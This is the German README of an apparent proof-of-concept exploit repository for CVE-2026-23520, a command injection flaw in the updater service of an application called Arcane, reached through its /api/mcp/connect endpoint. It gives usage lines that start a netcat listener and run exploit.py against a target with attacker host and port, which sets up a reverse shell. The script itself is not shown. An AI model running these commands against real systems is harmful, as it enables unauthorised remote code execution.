cypher-21/cve-2026-23520Proof-of-Concept-Exploit für CVE-2026-23520, eine Befehlsinjektions-Schwachstelle im Updater-Dienst von Arcane, die Remote-Codeausführung über manipulierte API-Anfragen ermöglicht.
Dieses Repository enthält einen Proof-of-Concept (PoC)-Exploit für eine Remote Command Execution (RCE)-Schwachstelle, die Anwendungen betrifft, die einen verwundbaren MCP-API-Endpunkt (üblicherweise /api/mcp/connect) bereitstellen.
Die Schwachstelle ermöglicht die Ausführung von Systembefehlen über eine manipulierte API-Anfrage.
nc -lvnp ATTACKER_PORT
python3 exploit.py TARGET --lhost ATTACKER_IP --lport ATTACKER_PORT
python3 exploit.py <target> --lhost <ATTACKER_IP> --lport <ATTACKER_PORT> [options]
| Argument | Beschreibung |
|---|---|
| target | Ziel-IP, Domain oder URL |
| --lhost | Angreifer-IP |
| --lport | Angreifer-Port |
| Flag | Beschreibung |
|---|---|
| -p, --port | Ziel-Port (Standard: 443) |
| -s, --scheme | http oder https (Standard: https) |
| -e, --endpoint | API-Endpunktpfad |
| -t, --timeout | Anfrage-Timeout |
| -v, --verbose | Debug-Ausgabe |
python3 exploit.py example.com --lhost 10.10.10.10 --lport 4444
python3 exploit.py example.com -s http -p 80 --lhost 10.10.10.10 --lport 4444
/bin/bash verfügbar ist.Nur für autorisierte Tests und Bildungszwecke.
Parosh B